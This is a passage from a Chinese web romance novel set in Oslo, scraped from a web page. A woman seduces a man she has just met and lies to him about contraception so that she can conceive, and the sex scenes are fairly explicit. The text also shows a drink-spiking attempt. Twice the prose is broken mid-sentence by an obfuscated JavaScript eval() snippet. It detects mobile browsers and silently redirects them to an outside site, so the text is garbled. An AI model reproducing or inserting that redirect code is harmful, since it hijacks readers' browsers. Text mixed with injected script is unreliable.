他途经时,总能看见她一个人的身影。今天不同,身边多了一个向她搭讪的男人。 周沥不是爱管闲事的人,在昨天小小的不愉快后,他更没有再与她交谈的打算。 但她实在不是一个警惕的人。 那个男人明晃晃地往她的杯中加了粉末,而她竟未察觉。 走进咖啡店,听见她约对方去喝酒。 周沥没有多大的波澜,垂眸想——她果真是个随便的人。 同时也愚蠢。 本想走,但她举杯的时候,周沥还是伸手制止了。他没法眼睁睁看着一桩犯罪行动发生。 “Lee,你平时就住在这个街区?” “住在慕尼黑。” “那你是来旅行?” “我爷爷在这里,我来看他。” “你会马上回德国吗?” 周沥站定。 梁宛来不及反应,轻轻撞在他的背上。她后退了两步,揉了揉鼻尖。 “你与人喝酒,都喜欢做身世背景调查?” “不是……”梁宛抿了抿嘴,“你当我没问。” 周沥用余光扫了她一眼,继续往前走。 “不会立刻回。” 梁宛怔了下,意识到他还是回答了自己的问题,脱口而出:“谢谢。” 谢谢? 周沥没再说话。 抵达Hkok时,彻底入夜,街上的灯光显眼夺目。 Hkok里座无虚席,有几人排起队伍。 “进去吧。” 周沥压着门说。 “可是里面没有位置了。” “有个座位不接外客,只招待朋友家人。” 梁宛眨眨眼,“所以你是?” “老板是我朋友。” 梁宛了然,跟着Lee进去。他说的果然是他上一次坐的地方。只不过这次他没有带电脑来办公。 “喝什么?” “Cloudberry。” 周沥问她:“不试试别的?你上次来,似乎也点了这个。” 梁宛脸颊微晒,“这个还挺好喝的,也好看。” 樱粉色的酒上飘着白云。 “嗯。” 周沥不做推荐,径直坐下。 梁宛在他对面坐下。 又回到了最初见面的地方,她看似有了机会,可实在不知道Lee这样的男人怎样才会和她上/床。 电视剧里勾引人的招数,对Lee管用吗? 她不动声色观察他。 “喝完就回你的住处去,奥斯陆没有你想的那么安全,尤其是深夜。” “你要一起去吗?我们可以买点啤酒喝第二轮。” 周沥凝视她。 这是她第二次邀请他去她的住处。 “我不喝啤酒。” 梁宛垂眼,看来这条路行不通。 Cloudberry喝完后,梁宛又点了一杯。两杯过后,她能感觉到自己有一些发热,身体飘飘然的很舒服。 她平时不喝酒,但她似乎天生就不是那么容易醉的。 于是她点了第三杯,IrishMist。 它看起来就像是咖啡上放了些奶油冰淇淋。 “别喝醉了。” 周沥适时提醒。 “没事,我又不是一个人来喝的。你能带我回去。” 咖啡奶油,应该不是烈酒。 酒吧里暖黄色的氛围灯下,周沥弯了弯唇。 她是一个很容易看透的人。 IrishMist不像它看起来的那么无害,不甚酒力的人喝下去会觉得飘飘然,感到极度晕眩。 周沥只喝了一杯就停了,靠着椅背看她喝。 梁宛抿了一小口,酒淌过食道进到胃里,灼起沿途的一切,她立刻就感受到了身体和大脑的反应。 她不知道自己酒量的极限在哪里,她怕自己真的醉了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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像初晨时白雪皑皑的冬日林间,薄阳初升,树梢的积雪缓缓融化,下着一场独属于森林的落雨。 梁宛本能地勾住Lee的脖颈,贪婪地埋进他的胸膛。 他的气息让她既沉醉又清醒。 周沥顿住。 梁宛的脑袋从他的胸膛蹭到脖颈,头发揉得凌乱,柔软地摩挲他颈部的皮肤。 他下意识后退了一步,她的发尾刺痛他的皮肤,他眼中闪过一瞬的震动。 梁宛又像树獭一样抱了过来,重新缩回他怀里。 周沥别过头,在原地站了片刻后,他握着拳揽过她的腰,走到大街上。 “住在哪里?” 梁宛嘀嘀咕咕:“公园边……不对……二楼……六楼?嘿嘿,记不得了。” 周沥深吸一口气,抬手看了眼时间。 “去酒店还是去我家,选一个。” “酒……酒店。” 再怎么说,人生地不熟的,酒店应该比他家安全些。 “护照带了吗?” 梁宛突然伸直了手,忙乱地在她的挎包中一顿找,纸巾、头绳、充电线都落到地上。 周沥的太阳穴在跳。 他按住她捣乱的手,捏住她的手腕,从包中抽出。 “我找。” 他捡起地上的东西,用纸巾简略擦了一遍,翻出她的护照本放进口袋。 周沥弯了弯唇。 泰国人。 红色护照本? 他垂眼,静静看了梁宛片刻。 - 风雪过后的夜晚依旧凌冽,风吹散了醉意与身上不少的温度。 雪融后的地滑,梁宛走不稳,只能紧紧抓着Lee的手臂,身体微倾靠着他。 抬起头,夜空清澈透亮,没有云影。 梁宛的脑海是混乱的。 晕眩、紧张、害怕、兴奋……还有犹豫。 她原本的生活按部就班,从未有过多么出格的事。纵使她有许多疯狂的想法,但她没有真正实施过。她真的要那样做么? 她希望Lee只是一个健康不滥情的男人,但千万不要太过纯情。她自私地想要达成自己的目的,但又有一个声音说着不要伤害他人。 “你不舒服?”周沥缓下脚步,侧目问她。 她微醺泛红的脸上有很多情绪,细眉拧着,略显干涩的嘴唇无意识努了努。周沥微顿,喉结上下滚动了一下,视线落在她忽闪的睫羽上。 她抓着他的手越来越紧,人的魂却仿佛游离在外。不知道她在想什么。 梁宛摇摇头。 “嘶——”她头一偏,抵靠在他肩上,“头晕。” 周沥没有再说什么,一路无言带着她走到最近的酒店。 梁宛看了一眼酒店的房钱,心开始滴血。她忘了他们所在的街区是繁华区,酒店定是不会便宜,更别提他们走进的还是一家富丽堂皇的五星级酒店。钱虽是Lee支付的,但她还没有无耻到睡了他还要他付钱的地步。 准备找个机会还给他。 宽敞的房间里有一张大床,漆黑一片,仅有落地窗外的一点城市星光。 梁宛站着,恍忽地看着黑暗。 黑暗中Lee身上清洌的香气淹过了自己的酒气。 她感到意乱情迷。 灯亮了。 她转身正想说什么,看见Lee重新拉开房门,要出去的架势。 出于本能,梁宛拉住了他的手臂。 “你要走吗?” 她皮肤很白,此刻手也与脸一样,泛出粉红色。不知是因酒,还是因刚才一路走来的寒冷。 周沥抬眼看向她。 “去一趟便利店。” 梁宛不太相信,定定地看他,不放手。 可是她不相信又能如何,她也不想把他吓跑了。 “好……那你快去快回。” 回? 周沥笑了笑,没应声,走了出去。 门咔一声关上后,梁宛走到窗边俯瞰城市。 她的意识清醒,只不过觉得脑袋有些沉重。同处一室了,下一步呢?她该怎么做? 另外,她也没有信心确认Lee还会回来。 他已经尽责把她送到酒店,也许他就这样回家了也说不准。刚才的说辞兴许只是想摆脱一个纠缠不休的人。 梁宛等了很久,久到她看累了窗外单调的灯光,窝进沙发里昏昏欲睡。 Lee应该不会回来了。 她被骗了。 梁宛悠悠醒来时已不知过了多久,房间里的灯光昏暗,她怔了怔,只有玄关的灯亮着。 “醒了就过来吃点东西。” Lee? 梁宛愕然起身,心跳在一瞬间加速。灯亮起后,Lee的身影在梁宛眼前变得明晰。 是他没错。 桌上摆着不少食物,有从便利店买回来的,也有从餐厅打包回来的,而且多是些有助于解酒的。 梁宛一动不动,周沥扫了她一眼,把另外一个纸袋放到沙发上。 “不想穿有酒气的衣服睡觉的话,可以换这一套。”周沥说,“明天下午一点前退房。” 话音还未落,他已经走到门前。梁宛看着他的背影,知道这次若再错过,她不会再有勇气冲动一回了。 “Lee,你先别走。” 周沥回身,拧动门把的手停下。 “还有事?” 梁宛眼一闭心一横。 “你能不能和我上/床?” 4. 004 压下去的门把手失去施加的力,回弹了起来。咔一声击在梁宛心上,她颤了颤,心情与赴死没什么两样。她没想过自己这辈子还能说出这番话。 Lee看着她,微微低头,玄关的顶灯从上方投射下来,他的神情完完全全隐藏在阴影中。 对未知的紧张让梁宛下意识后退了一步。 她没有注意到玄关是下沉的,脚后跟硬生生在台阶上磕了一下,人往后一摔,一屁股跌坐在地上。 她闭上眼,想死的心都有了。 与Lee沉在阴影下的面容不同,灯光将她照得明亮,面颊上的绯红与紧张全都无处遁形。 她支着地正要起身,一只手递到了她面前。 梁宛怔了怔抬起头。Lee垂着眼,昏暗中他的眼神晦涩难懂,表情平静得似没有听见那句话。 借着他的力起身后,梁宛听见他比之前还要低沉的声音,掺着些微的沙哑。 “如果你喝醉酒之后喜欢邀请人发生关系,”周沥停滞住,半晌才道,“那么你找错人了。” 一番话与刚才起身带来的晕眩感让梁宛脑袋嗡嗡的,一时说不出话。 周沥抬眼,淡漠且带有审视意味地看着她,“酒品不行少喝酒,外面的人比你想象得危险。” 言尽于此。 “我不是随便什么人都邀请的。” 梁宛脱口而出,一瞬间就懊悔了。她的话太没有说服力,她才见了他三次。 周沥没说话,片刻后轻轻笑了声。 “Mia小姐,如果我没有出现在那家咖啡厅,现在和你在这里的人就不会是我。” 梁宛怔住,张了张口,却什么都说不出来。蒙着雾气的湿润眼睛眨了眨,忽然低下头。 周沥转身的动作停滞住,半晌垂眸深呼一口气。 “你的戒备心不够,有些人接近你是别有目的,”他顿了顿,加上一句,“以后小心些。” 她没有听进他的劝告。 “我接近你就是别有目的。” 梁宛倏然抬头。 这句话是真的。 周沥的眸光暗下去,眼帘却缓缓抬起。 “第一天在Hkok见到你的时候,我就被你吸引了。老实说,我没有过什么感情经历,平时也不是一个多主动的人。我人生里冲动过的次数只有两次,当然,之前一次我只是询问对方有没有女朋友。你是那么多年以后,第二个让我冲动的。” 真假掺半的谎言,才最容易让人相信。 梁宛直直看向他眼底,不闪躲。 只有在衣袖下隐藏着她紧紧蜷缩在一起的手指,指甲掐在虎口上,疼也意识不到。她在违背她一贯的诚实与良心,她真怕自己以后会遭了报应。 “Lee,我是认真的。你对我来说很特别,所以我才会本能地想要和你……” “Mia,”周沥打断她接连不断的“告白”,他侧身望着镜子里她的身影,褪去臃肿外衣后是一身洁白的毛衣,衬托得她像一只无辜又无害的雪狐,“没有人会把醉话当真。” “我没有喝醉!”梁宛着急了,牵住他的手腕,“我,我刚才是装醉的,也记得住处的地址。我只是……只是想骗你待得久一点。” 血液似乎全都涌向了大脑,她此刻的话语全都是不假思索说出口的。她下意识用力一拽,而Lee站定不动,力量的差异使得她向他倾倒而去。 周沥伸起另一只手抵住她倒向他的肩头。 距离悄然越过警戒线。 周沥低眸。她昨晚或是今早洗了头发,散发着淡雅的花香。 冬季就这样染上初春的信号。 梁宛站稳了,心跳因为这冷不丁的贴近而加快。先前褪去了厚重的外套,如今贴在她肩头上的那只手,恰好能感知到不自然的心跳。 阴影中那双冷清清的眼睛垂下,静静看着梁宛。 偏偏她此刻想的全是不能就这样放他走,缓了片刻便又开始喋喋不休。 “我知道仅仅三天就谈上/床太快了,我以前也没有这样过,你要相信这世界上有一见钟情,有出于本能的冲动。因为是你我才会提出这样的请求。” 就连梁宛也不知道自己的话中掺了几分真几分假。 她仰着头看Lee,在幽深如潭的眸底看见夜狼一般的目光。他在审视,在剥开她层层谎言的伪装去看透她这个人。 梁宛不擅长与人对视,这一眼令她萌生出退缩的想法。 他的城府似乎比看起来的更深,梁宛没有把握。失控不是什么好事。 她清了清嗓,默默收回视线,轻轻搭上他在自己肩头的那只手。 “对不起,是我太着急了,我没有要冒犯你的意思。” 周沥面无波澜地听着,视线款款降落在她的手上。 白得有血色,透着浅浅的粉,手背上细细的青色筋脉延伸至她匀称的骨节上。她的手腕很细,细得他可以轻而易举捏住,若是用点力…… 周沥不自觉反手将她禁锢住,没有多余的精力去注意她的怔愣与惊愕。 指尖穿插在她指间,摩挲着那里脆弱柔软的皮肤。将她的手反过来,掌心泛着粉,有些滚烫。 她的生命线很长,这很好。 腕骨上有一个半指甲大小的烫伤痕迹,椭圆又近乎心形。 周沥用拇指覆上去,像一片羽毛轻轻地抚过,他能感觉到轻微的凸起。 他没有注意到,在他的指腹划过那片皮肤时,梁宛晃动的眼眸和忽然被抽离了力量的身体。 “怎么留下的?” 低沉的声音仿佛那杯IrishMist,迷雾缭绕,扰乱人的心神。 嗓子里的水分烧干了似的,干涩沙哑,梁宛回神用力吞咽了几次,才缓缓曲起被他捏着的手指说:“小时候冲热水袋的时候,烧开的水不小心溅到了这里。你生活在德国,也许不知道热水袋的用途,在中……我们家乡,我们用它取暖。” 梁宛吓了一跳,差一点就说错话。 周沥睨了她一眼,松开手,不易察觉地勾了勾唇。 “既然没有醉,你能照顾好自己,我更没有理由留下。” “……”梁宛哑口无言,转了转失去温热触感的手腕,半天才憋出几个字,“可是……” “你是认真的?” 周沥却没有走,微微低身侧头审视她,忽然打断她又要开始的滔滔不绝。 梁宛露出疑惑的表情,“你觉得我在和你开玩笑吗?” “没什么,”周沥低下头,单手摘去眼镜,搁在梳妆台上,轻轻低语,“不是开玩笑就好。” 冲动不是他的生活方式。 但生命中也允许有一次意外。 梁宛只听见他说了什么,却听不清楚。 “什么?不好意思我没听清,你可以再说——唔!” 封住她的嘴唇柔软冰凉,携着他刚才喝过的鸡尾酒味,树莓的酸甜,柠檬的清新,酒精的迷醉。 梁宛以为Lee是儒雅温吞的,表里如一的。 可当他没有丝毫犹豫地,揽着她的腰肢往他怀中倒去时,她看见了他儒雅外表下不一样的一面。 他的入侵不加掩饰也不停歇。 一股酥麻的暖流穿透身体,梁宛脚软得站不住,慌慌张张地勾住他的脖颈。 周沥卡在她腰上的手更用力了,托起她下沉的躯壳,另一只手覆在她的后脑勺,将她抵靠在墙上。冰凉的墙面摩擦他的关节,皮肤在看不到的地方开始泛粉,发红。 细密的吻滑向嘴角、耳下、颈侧。 梁宛的喘/息声不受控地变得粗重。 原来,完全被一个人的气息包裹住是这样的感觉。 梁宛无法思考,无法平静地呼吸,强睁着的眼睛止不住颤抖。在逐渐被水汽占据的视野里,梁宛第一次看见Lee镜片下的眼睛。他闭着眼,循序收紧了她的腰,一点一点地靠近。 原本的目的抛却脑后,梁宛闭上颤抖的眼,此刻只想出于本能地赴这一场露水情缘。 忽然,周沥停止了这一个吻。 梁宛惶惶睁开眼看着他,沙哑问道:“怎……怎么了?” 她仰着潮红的脸看他,周沥弯唇笑了笑,“我出去一趟。” 梁宛愕然,拉住他不让其走,“你反悔了?” “没有。”周沥回眸,轻笑道,“忍一下,我去买安全套。” 忍一下? 梁宛的脸一下热得如同被放在油锅上煎。 听起来像是她急不可耐了。 两秒过后,梁宛忽然意识到他说了什么。安全套?这可不行,那她还怎么达成目的? “不用,我不喜欢那个东西。”她心虚着低下头说。 周沥抬了抬眉,不语。 “我向你保证我没有性/病,我不是来报复社会的。” 周沥的指腹触碰到她发烫的耳垂后,“我也没有。但如果没有安全套,你会有怀孕的风险。” 梁宛颤了颤,下意识用力吞咽了一下。 周沥察觉到这不寻常。 又听她说:“我会吃药。” “急性避/孕药对身体有损伤。” 周沥不推崇为享乐伤害身体的方式。 梁宛顿了顿,搬出自己高中大学时的经历扯谎,“我长期服用短效避/孕药,因为我生理期一直不准。” 见Lee还是不语,梁宛着急地皱起眉,“真的。一个月吃25天的那种药,所以我现在是不可能怀孕的。” 周沥垂手,依旧道:“我很快回来。” 眼见他的手已经伸向门把,梁宛不顾一切抱住他的腰。 “不行,我怕你去外面吹了风就冷静了,就不回来了。况且……”梁宛的头埋得越来越低,声音轻而喑哑,“况且我忍不住了。” 她使足力气将Lee推到墙边,迫使他整个人面对她。纤细的手迅速地解开他大衣的纽扣,动作略显粗糙地将其褪下。再里面是湛蓝色的毛衣,她的视线微微上移。 他太高了,她没有办法脱下他身上的衣服。 “你能不能……自己脱一下衣服。” 从刚才到现在,梁宛至始至终低着头不与他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977427|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对视,声音发颤。 指尖顺着腰往下,翻起衣摆,触碰到冰凉的纽扣,生疏地想要去解,指尖却不小心触碰到他腹部的皮肤。 好烫。 梁宛心脏一震,于瞬间蜷起了手指就要抽离,口中嘀咕着:“抱歉……” 一只宽厚的手掌倏然压住她鬼祟的手。 梁宛抬起头,指尖能感知到他的起伏。她喜欢肌肤的触感,贪婪地想要多摸一些。 周沥淡淡笑了,“抱歉?之后我不想听你一直不停地说抱歉。” 话音落下的瞬间,梁宛飘了起来。她以为是酒精的作用,直到自己降落在柔软的床上才后知后觉——Lee将她抱起扔到了这里。 周沥单膝跪在床沿上,双眼微垂,利落翻起毛衣的下摆,从头顶褪下。湛蓝色的毛衣飞去落地灯边的沙发上,梁宛视野里的周沥穿着黑色宽松单衣。 褪去冬日盔甲的他很不一样。 被衣服拨乱的头发凌乱蓬松。他的皮肤颇白,即便是在昏暗灯光下,梁宛也能感觉到。 他很干净。 这是梁宛对他这个人气质的评价。从第一眼见他,到如今在床上,她始终这么认为。 洁白的纯净中,又有着不确定。每每撞进他的眼睛,梁宛便感觉自己看着一个全然不同的人。下意识令她觉得危险。 周沥俯身逼近,手臂撑在她两侧,眉目平静望着她。 “你和我一旦开始,就不会有回头路了。”他单手慢条斯理解着她锁骨边的纽扣,低沉的嗓音略有停滞,“确定了吗?” 钥匙已经在锁孔中转动,只差推门这一步,她没有后退的道理。这是她求来的梦。 勾住脖颈的一吻代替了回答。 衣襟从雪白的肩头滑落,温暖的掌心游背而上,时间过了很久,久到她开始习惯Lee的触碰。亲吻原来可以不止于唇,眉心、颈窝,比酒更醉人,意乱情迷时,搭扣在寂静中被解开,吻无声无息地蔓延至雪顶樱红。 梁宛倒吸了一口凉气,心脏激动又惶恐,无法平静。仰起的身体、蜷起的脚趾,她像一滩水那样找不着自己的形。 多么不公平,她赤条条地展现,表情也无所遁形。造成这一切的罪魁祸首Lee,仍旧一袭黑衣,宛若禁欲的信徒。 混沌中,她放弃过多的思考和犹豫,滚烫、纤细的手指解开之前那颗欲解却未遂的纽扣,那里比所有地方都炙热。 雪白的肌肤染上樱桃般的粉红。 周沥尽收眼底。 他的心底似乎对这个忽然闯入生命的意外——感到渴望。 她嘟嘟囔囔着为什么他还穿着衣服。周沥哑然失笑,应她之言褪去最后的枷锁。 梁宛记不得最后一点小布条是什么时候消失的,但想必是Lee的双手做的。他颇有服务意识,循序渐进,起初是修长匀称的手。这和自己尝试时的感受全然不同,她不用一心二用,不用耗费任何力气。可奇怪的是,她明明没有费力,却虚脱到飘飘然。 梁宛以为接下来就该是主戏了,却不然。他迂回、试探,令她叫苦不迭。 他太有耐心了,仿佛对这类事并无多大兴趣,一点也不猴急,甚至于可以用风度翩翩来形容。这太荒谬了。 如果不是梁宛口是心非让他收手时,他非但不照做,勾勾手,还含着笑意反复问她“确定吗?”,她就真以为他是被迫就范了。 花洒的水浸满浴池,梁宛这才惊觉背后不是柔软的床,而是冰凉的大理石。炙热的体温很快没过那股凉意。 从前预想的害怕没有到来。 那一刻她只感觉到前所未有的满足,像一片空虚荒芜的沙漠一夜之间生长出绿洲。他所有耐心的动作化为她此刻的舒适,而非疼痛。每一次,她都忍不住要发出声音,用最后一点力气勾着他的脖颈不让自己往下掉。每一次,他都将她托举得更高。直到最后她再也忍不住,在他与水珠共同的亲吻中彻底放手,全身心地相信他不会让自己跌倒。 “Lee……谢谢你。” 她想说的其实不是谢谢,但话到嘴边只能更改。梁宛闭上眼,如果这样的体验只会有一夜,她会好好享受,明天过后…… 很久以后,周沥怀抱着虚脱的梁宛,轻柔地替她清洗。 “你什么时候离开挪威?”周沥问道。 梁宛躺着,半垂着眼看他,“十天后。” 虽然不知道她能不能像偶像剧里那样一次就中,但今夜是快乐的。 “想要去看鲸鱼或极光吗?” 梁宛抬起眼帘,在混乱中思索他这句话的意思,好半天才回答:“想。” “我带你去看。” 打了一半的哈欠在泪水中停滞。 Lee要陪自己度过剩下的十天吗? “困了?”周沥淡淡笑,“等把你的头发吹干就去睡吧。” 温暖的风中,梁宛靠着周沥忍不住瞌睡。 他的手一下又一下游颈而上,穿过发丝,轻柔地像梦。 一场为期十天的挪威童话。 她还没有想好如何写结局,说再见。 5. 005 隔天醒来,房间里昏暗,只有书桌边的一盏灯亮着。梁宛寻着光看去,Lee正坐在那儿办公。电脑边放着一个装了水的玻璃杯。 他又戴上了那副细边眼镜,着装齐整,两人之间忽然蹦出昨晚没有的距离感。 梁宛坐起身,下腹传来的酸胀感令她始料未及,下意识轻呼了一声。这感觉算不上多难受,只是对她来说是完全陌生的。 听见声响,周沥停下打字的动作朝她看来。 “怎么了?” “没,没事。” 梁宛清了清嗓掩饰尴尬。事后穿上衣服见面的气氛令她抓狂。早知道就应该止步于一夜/情,那样她此时此刻应当已经逃跑了。 周沥收紧眸光,伸手示意,“洗漱后先吃点东西。” 梁宛顺着他手指的方向看去,他买了三明治和咖啡。 “嗯好,”她起身去找昨天被他脱下来的衣服,“现在几点了?” “两点。浴室有一套新衣服,你可以穿。” 梁宛一滞,“两点?那岂不是过了退房的时间?” “嗯,我续了。” 梁宛其实想问他为什么不叫醒自己,想想还是算了,只是她有点心疼这白白多花出去的钱。总不能白嫖了他,还要他出房钱。 换完新衣服出来,梁宛在镜前伫立片刻。衣服应该是他刚去附近买的,吊牌都摘了,但想必不便宜。他的审美不错,贴身穿的衣服触感也柔和。 头疼,怎么给他钱好? “Lee,我没有带那么多现金,你可以给我一个收款账号。” 周沥合上电脑,目光越过她。 “走吧,先回你的民宿整理行李,明天出发。” 显然他忽视了她刚才那句话。 “出发去哪里?” “往北边走,去看极光。” 梁宛这才想起昨晚温存后的约定。他真的要和自己旅行?梁宛开始担心起安全问题。虽然他们睡过了,但也只是睡过的陌生人关系。她对这里人生地不熟,而Lee就不一样了。 骗财骗色不太可能。她看起来不像有钱的,至于色,是她骗的他。Lee如果是坏人,只有可能是变态杀人犯了。 周沥拉开房门,转身问吃完三明治的梁宛还有没有东西落在房间。梁宛摇摇头起身,把脑海里不着调的胡思乱想也一并摇走。 走向民宿的路上,梁宛还是没忍住试探。 “你之前说你来奥斯陆是为了看爷爷,那你和我去旅行没关系吗?” “嗯,之后我还会回到奥斯陆。” “你爷爷也住在这附近?” “嗯。”周沥在她问下一句之前反问她,“想去看看他?” “不是不是。”梁宛猛摇头。 既然是露水情缘,和他身边的人和事牵扯越少越好。 周沥笑笑,自然换了话题,“有什么一定想去的地方吗?” 梁宛沉吟片刻道:“想去的地方太多了,一定要去的反而选不出来。我之前看人推荐挪威缩影,我们不如走那条路线?” “你知道挪威缩影有哪些地方?” 梁宛干笑两声,“不知道。我只是看他们拍的照片很好看。你是不是不太推荐?” “嗯。”周沥淡淡应声,“自驾会比较好。” 梁宛垂眸,“那就依你——” “你想去我们就去,时间来得及。这次没能去的地方,下次来再看。不要留遗憾。”周沥云淡风轻地说,梁宛却看着他出了神。 下次……不知道何年何月的事。 也许不会再来,再来也不会和他。 梁宛回民宿整理行李,顺带邀请周沥坐了会儿。她的行李颇多,多了一套衣服更显得拥挤。 她发现Lee没有视线随处飘的习惯,自从进了屋就在桌子上办公。等到她理好行李,Lee才抬头问她明天想要几点启程。 “我不知道,这随你。”梁宛想起一件事,“对了,之后十天的费用都由我来支付,只要你别选太高级昂贵的东西就行。” 周沥没说好,也没说不好。 安静的时间里,梁宛摸着腹部,思索片刻后问他要不要住在这里,反正有两张床,明天可以一早就出发。 她想当然觉得他会拒绝。 果然如此,他态度平和地婉言拒绝,说明天来接她。 梁宛不死心脱口而出,“我们已经睡过了,现在只是在一个房间也不行吗?” 问出口便觉唐突又冒犯,蹙了蹙眉。 “可以,”半晌后Lee的答复却出人意料,“我回去一趟。” 对于他的回答梁宛震惊了很久,足足到他提着行李箱回来。她指着另外一张床,让他把今晚要用的东西放上去。 话落不久,梁宛自己就意识到了问题。在周沥的目光中,她清了清嗓,小声说:“不分开睡也没关系吧?” 多几次机会,多点中标几率。 说完她心虚地背过身。 过了很久房间里都没有响起他的声音,梁宛回头看见他已经坐回桌边办公。 她刚想说什么,周沥抬眸穿透她的眼神,淡淡笑着说:“晚上大约要陪你,现在可以让我工作一会儿吗?” 梁宛像一具突然宕机的机器,木讷地看着他,脸颊随着秒针的拨动而愈变愈红。 Lee好像不是那么冷漠的人。 一下午,梁宛就坐在床上刷手机,时不时用余光看Lee。他没有避讳她,也许是因为知道她听不懂德语,连开视频会议也光明正大。 梁宛也不爱黏人,更知道工作中的人不喜欢被打扰,哪怕是下床倒水喝都蹑手蹑脚避开摄像头,不想让他的同事们误会他有女朋友。 周沥开完会,抬眼瞧了瞧在床上举着手机半梦半醒的人。他的余光早已将她刚才的动作尽收眼底,低下头重新看回文件,他却难得走了神,半晌后哑然失笑。 突然砸下来的手机惊醒了梁宛,她克制着尽量不发出噪音,摸着被砸疼的下巴无声哀嚎。 微信上谢晚馨又发来新信息。 「宝宝,你能不能带点挪威的纪念品回来?我会把钱转给你的。逸程下个月生日,我想给他多准备点礼物,他可向往北欧了。」 …… 梁宛不太喜欢看到她对这个男朋友太过上心的模样,但也没法劝说什么。如人饮水,冷暖自知,别人的事她不好过多插手。 「好,但我只能带一些小件的。我的行李箱几乎爆满。他喜欢什么类型的?」 「都可以!他喜欢收集冰箱贴和小摆件,就那些吧。」 梁宛答应了。 切到工作群,风平浪静,谈话都是些工作日常。梁宛放心地关闭微信。 余光飘向Lee,有个人比她还苦,来挪威看爷爷还要没完没了地工作。她唉了一声,感叹他和别的德国人不一样,一点也不反内卷,真不知道是哪个行业。 周沥一直工作到晚上,床上等着他的人已经睡成大字,手机压在胸口,炙热滚烫的。 他刚伸手碰到她的手腕,梁宛就醒了,睡眼惺忪地问他几点了。 周沥发觉她很浅眠、易醒,今早也是醒转了一次,只是很快又睡过去。 去吃晚餐的路上和回来时,梁宛都正经地和他并排走,仿佛昨晚那个牛皮糖一样粘着他的人不是她。 结束用餐,梁宛用国内抢单的那一套,先一步付款。 到夜晚,二人依次洗了澡,周沥回到房间时,发现她很有公德心地给那张大床套上了一次性四件套。沐浴露的香气弥漫在整个空间,无法忽视,无法无动于衷。 今天漫长的时间里,他们之间像有着一条无形三八线,无人跨越。而这静谧无声的雪夜里,梁宛知道自己要什么,Lee应该也明白。 太阳高悬时,那些刻意拉远的距离,只是此刻相嵌的铺垫和序曲。 和昨晚又不同,他们不在浴室,没有花洒与水珠,所有的潮湿与黏稠都来自于他们自身。 梁宛仰着头,如梦里那样溢出声音。 紧紧抱着Lee宽阔的背,她承认自己开始迷失、贪恋。 “如果不止十天就好了……” 沉沉睡去前,梁宛这样在脑海里想。 却不知道自己正嘟囔着心里话。 - 梁宛和周沥计划分两天坐完挪威缩影的五段车程。第二站米达尔前往第三站弗洛姆的末班车在下午六点,这意味着他们必须起得早点赶到米达尔。 自从来了挪威,梁宛的就有止不住的倦意,和周沥在一起的两晚,她一觉能睡到清晨,半夜不会惊醒。清晨后被窗外各种细微的声音打断睡梦,短暂醒来又睡去。 出发日,梁宛原以为自己起得已经够早,睁开眼看见的却是已经穿戴整齐的周沥。她想不通为什么她每次都不会被他吵醒。和昨天一样,他已经下楼买了早餐带上来。今天换了花样,香肠、鸡蛋、土豆饼和牛奶。她当然不能奢望挪威随便一条街上会有中式早点。 火车第一程从奥斯陆去往米达尔,所需时间大约五个小时。 一上车梁宛就从双肩包里取出相机。老天爷很给面,是晴天,天蒙蒙亮,还在与黑夜斗争。好在无论是树梢顶端的针叶,还是湖泊另一端的群山,都有它们清晰的身影。 列车行进途中,梁宛凭按快门的手速有幸拍到两张构图完美的照片,其余的都是铁轨边树木的残影。她懊恼地放下相机,不甘心又理智地放弃了拍摄,安静地用眼睛去看。 食物在漫长的旅途中不可或缺。梁宛吃饱喝足后,早晨没睡足的困意卷土重来,没过多久便耷拉着脑 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梁宛想起心理医生说她不会处理亲密关系,现实如此。虽说她与周沥还够不成“亲密”,但她没脸没皮纠缠他的劲却消失了,只剩下因尴尬而却步的心理。他们还要在这里等许久,梁宛真希望自己是一个木头人。 谢晚馨的视频电话救命稻草般打破这沉寂,梁宛飞快戴上耳机。 “宝宝,我和逸程吵架了。” 这边也不是梁宛想听的事,她叹了声气,问道:“怎么了?” “我开玩笑问他,如果我给他买一台ps5,我生日的时候他会送我什么。结果他说我物质!可我是真的给他买了ps5,我也从来没觉得礼物要用金钱来衡量,只希望他能用心。” 梁宛沉默颇久,一反常态,不吐不快。 “婉馨,其实我一直不知道你看上他什么。你喜欢仪式感,看中情绪价值,你适合找一个浪漫贴心的人。李逸程送过你什么?十九朵玫瑰还是写了一句‘生日快乐’的贺卡?又或者是手折的星星。那星星都未必是他亲手折的。而你,你送过他八百块的领带、六千的手表、亲手织的围巾,现在又要送PS5,他怎么敢说你物质?” 梁宛和谢晚馨的对话都是中文,她并不担心周沥会听见。她甚至留了个心眼去观察他的表情,确信他听不懂中文。 谢晚馨被梁宛机关枪似的话冲击得愣神许久。有些道理当事人怎会不知,只是无人说,便想一直自欺欺人下去。 “毕竟逸程家境不好……等他以后工作变好,赚的钱多了,自然就会变大方。”谢晚馨仍旧为他辩驳。 梁宛闭上眼深呼吸了几次。 “他31岁,这几年换过的工作始终都是同一个水平,他真的有晋升空间吗?且不说条件如何,单单他说你物质这一点就不行。” “宝宝……” “晚馨,每一次你找我都是和我吐槽他做错的事,你想听我说点关于他的好话,”梁宛轻笑了笑,“我真的说不出口。我对他的印象很不好。当然,我只是一个旁观者,你们的感情到底如何,还是要你自己决定。” 梁宛明白谢晚馨依旧听不进去,过两日李逸程低头哄两句,她受用,便会回去。 雨越下越大,顺着屋檐连成珠串落下来。 山里起了雾,飘绕在山周,仙气似的。 谢晚馨笑不太出来,硬生生转移了话题,问梁宛现在在哪。梁宛如实说了,切到后置摄像头给她看风景。 “这里信号不太好。”梁宛说。 “难怪刚才听你说话总是卡顿。宝宝,你一个人去安全吗?” 梁宛咳了一声,摄像头切回到自己。 “安全的。” 